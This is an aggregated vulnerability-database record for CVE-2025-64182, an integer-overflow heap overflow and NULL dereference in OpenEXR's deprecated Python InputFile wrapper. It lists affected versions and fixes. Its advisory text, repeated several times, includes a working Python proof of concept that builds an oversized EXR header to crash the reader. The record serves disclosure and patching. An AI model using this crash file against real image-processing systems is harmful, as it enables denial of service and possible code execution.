{"id":"CVE-2025-64182","aliases":["EUVD-2025-50827","GHSA-vh63-9mqx-wmjr","JLSEC-2026-138","PYSEC-2026-2851","UBUNTU-CVE-2025-64182","openSUSE-SU-2025:15741-1"],"status":"published","title":"OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.","severity":{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.0026,"percentile":0.17818,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-120"],"published":"2025-11-10T21:27:21Z","modified":"2026-10-28T02:30:48Z","fixes":[{"ecosystem":"PyPI","package":"openexr","fixed_in":["3.2.5","3.3.6","3.4.3"],"sources":["ghsa","osv"]},{"ecosystem":"Julia","package":"OpenEXR_jll","fixed_in":["3.4.4+0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"fixed":"3.2.5"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.3.6"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.0"},{"fixed":"3.4.3"}]}]},{"source":"osv","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"fixed":"3.2.5"}]}],"versions":["3.2.3","3.2.4"]},{"source":"osv","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.3.6"}]}],"versions":["3.3.0","3.3.1","3.3.2","3.3.3","3.3.4","3.3.5"]},{"source":"osv","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.0"},{"fixed":"3.4.3"}]}],"versions":["3.4.0","3.4.1","3.4.2"]},{"source":"osv","ecosystem":"Julia","package":"OpenEXR_jll","ranges":[{"type":"SEMVER","events":[{"introduced":"3.1.4+0"},{"fixed":"3.4.4+0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"fixed":"3.2.5"},{"introduced":"3.3.0"},{"fixed":"3.3.6"},{"introduced":"3.4.0"},{"fixed":"3.4.3"}]}],"versions":["3.2.3","3.2.4","3.3.0","3.3.1","3.3.2","3.3.3","3.3.4","3.3.5","3.4.0","3.4.1","3.4.2"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.3-1.1"}]}],"bundled":3}],"products":[{"vendor":"academysoftwarefoundation","product":"openexr"},{"vendor":"openexr","product":"openexr"}],"references":[{"url":"https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-vh63-9mqx-wmjr","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536","tags":["x_refsource_MISC","Product","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64182","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-vh63-9mqx-wmjr","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/64xxx/CVE-2025-64182.json","tags":["advisory"]},{"url":"https://github.com/AcademySoftwareFoundation/openexr","tags":["package"]},{"url":"https://pypi.org/project/openexr","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2025-64182","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-64182","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2025-64181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-64182","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-64183","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2025-64182","title":"OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.","status":"published","published":"2025-11-10T21:27:21.176Z","modified":"2025-11-14T19:22:58.166Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium","assessor":"cna"}],"cwes":["CWE-120"],"updated_at":"2026-11-02T14:32:46.750177Z"}],"euvd":[{"id":"EUVD-2025-50827","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.","status":"published","published":"2025-11-10T21:27:21Z","modified":"2025-11-14T19:22:58Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium"}],"updated_at":"2026-11-02T19:49:16.95916Z"}],"ghsa":[{"id":"GHSA-vh63-9mqx-wmjr","title":"OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()","description":"### Summary\n\nA memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.\n\nInteger overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).\n\nThis bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).\n\n### Details\n\nInteger overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around [here](https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536).\n\n-   In `channel()`:\n\n    -   Width and height are derived from the header dataWindow using `int`.\n\n    -   `typeSize` is a `size_t`. The buffer size is computed as `typeSize * width * height` with no bounds checks.\n\n    -   The result is passed to `PyString_FromStringAndSize(NULL, size)` which maps to `PyBytes_FromStringAndSize`. That function expects `Py_ssize_t`. If the product overflows or exceeds `PY_SSIZE_T_MAX`, allocation fails or the value wraps.\n\n    -   The return value is not checked. The code immediately calls `PyString_AsString(r)` and proceeds to build a `FrameBuffer` and calls `readPixels(miny, maxy)`.\n\n    -   On 64 bit: `PyBytes_FromStringAndSize` returns NULL, the wrapper dereferences NULL and crashes.\\\n        On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which `readPixels` writes `typeSize * width` bytes per scanline for `height` lines into that buffer, causing a heap overflow.\n\n-   In `channels()` the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the `Slice` it hardcodes `xSampling=1, ySampling=1`. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.\n\n### PoC\n\n```python\n# write_big_header_then_crash.py\nimport OpenEXR, Imath\n\n# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1\nINT_MAX = (1 \u003c\u003c 31) - 1\nMAX_COORD = (INT_MAX // 2) - 1  # 1073741822\n\n# Choose a scanline width that keeps row-bytes \u003c 2^31\n# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept\nWIDTH = min(400_000_000, MAX_COORD + 1)   # pixels\nHEIGHT = 64                                # small height keeps the file tiny\n\n# Build windows from pixel counts\ndw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))\n\n# Robustly set NO_COMPRESSION across enum naming differences\ndef no_compression():\n    # Try common names, else fallback to numeric 0\n    C = Imath.Compression\n    for name in (\"NO_COMPRESSION\", \"NONE\", \"NO_COMPRESSION_ENUM\"):\n        if hasattr(C, name):\n            return Imath.Compression(getattr(C, name))\n    return Imath.Compression(0)\n\nhdr = {\n    \"dataWindow\": dw,\n    \"displayWindow\": dw,\n    \"channels\": {\"R\": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},\n    \"compression\": no_compression(),\n    \"lineOrder\": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),\n}\n\n# Write just the header (no pixels)\nout = OpenEXR.OutputFile(\"big_header.exr\", hdr)\nout.close()\n\n# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check\nf = OpenEXR.InputFile(\"big_header.exr\")\nprint(\"Triggering crash...\")\nf.channels([\"R\"])\n```\n\n```\n$ python3 poc.py \nTriggering crash...\nlibc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information\nAbort trap: 6              python3 poc.py\n```\n\n### Impact\nTypical memory stuff.","status":"published","published":"2026-04-06T17:51:19Z","modified":"2026-04-06T17:51:20Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-120"],"updated_at":"2026-11-02T14:39:48.966685Z"}],"nvd":[{"id":"CVE-2025-64182","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.","status":"published","published":"2025-11-10T22:15:37.12Z","modified":"2026-06-17T09:53:58.28Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-120"],"updated_at":"2026-11-02T14:11:42.870953Z"}],"osv":[{"id":"CVE-2025-64182","title":"OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.","status":"published","published":"2025-11-10T21:27:21.176Z","modified":"2026-10-28T02:30:48.344187975Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-120"],"updated_at":"2026-11-02T15:44:51.851511Z"},{"id":"GHSA-vh63-9mqx-wmjr","title":"OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()","description":"### Summary\n\nA memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.\n\nInteger overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).\n\nThis bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).\n\n### Details\n\nInteger overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around [here](https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536).\n\n-   In `channel()`:\n\n    -   Width and height are derived from the header dataWindow using `int`.\n\n    -   `typeSize` is a `size_t`. The buffer size is computed as `typeSize * width * height` with no bounds checks.\n\n    -   The result is passed to `PyString_FromStringAndSize(NULL, size)` which maps to `PyBytes_FromStringAndSize`. That function expects `Py_ssize_t`. If the product overflows or exceeds `PY_SSIZE_T_MAX`, allocation fails or the value wraps.\n\n    -   The return value is not checked. The code immediately calls `PyString_AsString(r)` and proceeds to build a `FrameBuffer` and calls `readPixels(miny, maxy)`.\n\n    -   On 64 bit: `PyBytes_FromStringAndSize` returns NULL, the wrapper dereferences NULL and crashes.\\\n        On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which `readPixels` writes `typeSize * width` bytes per scanline for `height` lines into that buffer, causing a heap overflow.\n\n-   In `channels()` the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the `Slice` it hardcodes `xSampling=1, ySampling=1`. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.\n\n### PoC\n\n```python\n# write_big_header_then_crash.py\nimport OpenEXR, Imath\n\n# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1\nINT_MAX = (1 \u003c\u003c 31) - 1\nMAX_COORD = (INT_MAX // 2) - 1  # 1073741822\n\n# Choose a scanline width that keeps row-bytes \u003c 2^31\n# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept\nWIDTH = min(400_000_000, MAX_COORD + 1)   # pixels\nHEIGHT = 64                                # small height keeps the file tiny\n\n# Build windows from pixel counts\ndw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))\n\n# Robustly set NO_COMPRESSION across enum naming differences\ndef no_compression():\n    # Try common names, else fallback to numeric 0\n    C = Imath.Compression\n    for name in (\"NO_COMPRESSION\", \"NONE\", \"NO_COMPRESSION_ENUM\"):\n        if hasattr(C, name):\n            return Imath.Compression(getattr(C, name))\n    return Imath.Compression(0)\n\nhdr = {\n    \"dataWindow\": dw,\n    \"displayWindow\": dw,\n    \"channels\": {\"R\": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},\n    \"compression\": no_compression(),\n    \"lineOrder\": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),\n}\n\n# Write just the header (no pixels)\nout = OpenEXR.OutputFile(\"big_header.exr\", hdr)\nout.close()\n\n# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check\nf = OpenEXR.InputFile(\"big_header.exr\")\nprint(\"Triggering crash...\")\nf.channels([\"R\"])\n```\n\n```\n$ python3 poc.py \nTriggering crash...\nlibc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information\nAbort trap: 6              python3 poc.py\n```\n\n### Impact\nTypical memory stuff.","status":"published","published":"2026-04-06T17:51:19Z","modified":"2026-07-13T16:43:06.203816035Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-120"],"updated_at":"2026-11-02T15:46:57.348035Z"},{"id":"JLSEC-2026-138","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.","status":"published","published":"2026-04-17T15:19:54.657Z","modified":"2026-07-18T00:00:33.414962061Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"updated_at":"2026-11-02T15:47:18.159338Z"},{"id":"PYSEC-2026-2851","title":"OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()","description":"### Summary\n\nA memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.\n\nInteger overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).\n\nThis bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).\n\n### Details\n\nInteger overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around [here](https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536).\n\n-   In `channel()`:\n\n    -   Width and height are derived from the header dataWindow using `int`.\n\n    -   `typeSize` is a `size_t`. The buffer size is computed as `typeSize * width * height` with no bounds checks.\n\n    -   The result is passed to `PyString_FromStringAndSize(NULL, size)` which maps to `PyBytes_FromStringAndSize`. That function expects `Py_ssize_t`. If the product overflows or exceeds `PY_SSIZE_T_MAX`, allocation fails or the value wraps.\n\n    -   The return value is not checked. The code immediately calls `PyString_AsString(r)` and proceeds to build a `FrameBuffer` and calls `readPixels(miny, maxy)`.\n\n    -   On 64 bit: `PyBytes_FromStringAndSize` returns NULL, the wrapper dereferences NULL and crashes.\\\n        On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which `readPixels` writes `typeSize * width` bytes per scanline for `height` lines into that buffer, causing a heap overflow.\n\n-   In `channels()` the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the `Slice` it hardcodes `xSampling=1, ySampling=1`. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.\n\n### PoC\n\n```python\n# write_big_header_then_crash.py\nimport OpenEXR, Imath\n\n# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1\nINT_MAX = (1 \u003c\u003c 31) - 1\nMAX_COORD = (INT_MAX // 2) - 1  # 1073741822\n\n# Choose a scanline width that keeps row-bytes \u003c 2^31\n# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept\nWIDTH = min(400_000_000, MAX_COORD + 1)   # pixels\nHEIGHT = 64                                # small height keeps the file tiny\n\n# Build windows from pixel counts\ndw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))\n\n# Robustly set NO_COMPRESSION across enum naming differences\ndef no_compression():\n    # Try common names, else fallback to numeric 0\n    C = Imath.Compression\n    for name in (\"NO_COMPRESSION\", \"NONE\", \"NO_COMPRESSION_ENUM\"):\n        if hasattr(C, name):\n            return Imath.Compression(getattr(C, name))\n    return Imath.Compression(0)\n\nhdr = {\n    \"dataWindow\": dw,\n    \"displayWindow\": dw,\n    \"channels\": {\"R\": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},\n    \"compression\": no_compression(),\n    \"lineOrder\": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),\n}\n\n# Write just the header (no pixels)\nout = OpenEXR.OutputFile(\"big_header.exr\", hdr)\nout.close()\n\n# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check\nf = OpenEXR.InputFile(\"big_header.exr\")\nprint(\"Triggering crash...\")\nf.channels([\"R\"])\n```\n\n```\n$ python3 poc.py \nTriggering crash...\nlibc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information\nAbort trap: 6              python3 poc.py\n```\n\n### Impact\nTypical memory stuff.","status":"published","published":"2026-07-13T14:36:48.385581Z","modified":"2026-07-13T16:32:33.835246408Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium"}],"updated_at":"2026-11-02T15:52:56.429374Z"},{"id":"UBUNTU-CVE-2025-64182","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.","status":"withdrawn","published":"2025-11-10T22:15:00Z","modified":"2026-04-17T10:11:46.236398Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"medium"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:55:52.345622Z"},{"id":"openSUSE-SU-2025:15741-1","title":"libIex-3_4-33-3.4.3-1.1 on GA media","description":"These are all security issues fixed in the libIex-3_4-33-3.4.3-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-11-18T00:00:00Z","modified":"2026-03-23T04:54:09.181745Z","updated_at":"2026-11-02T16:58:37.810934Z"}]}}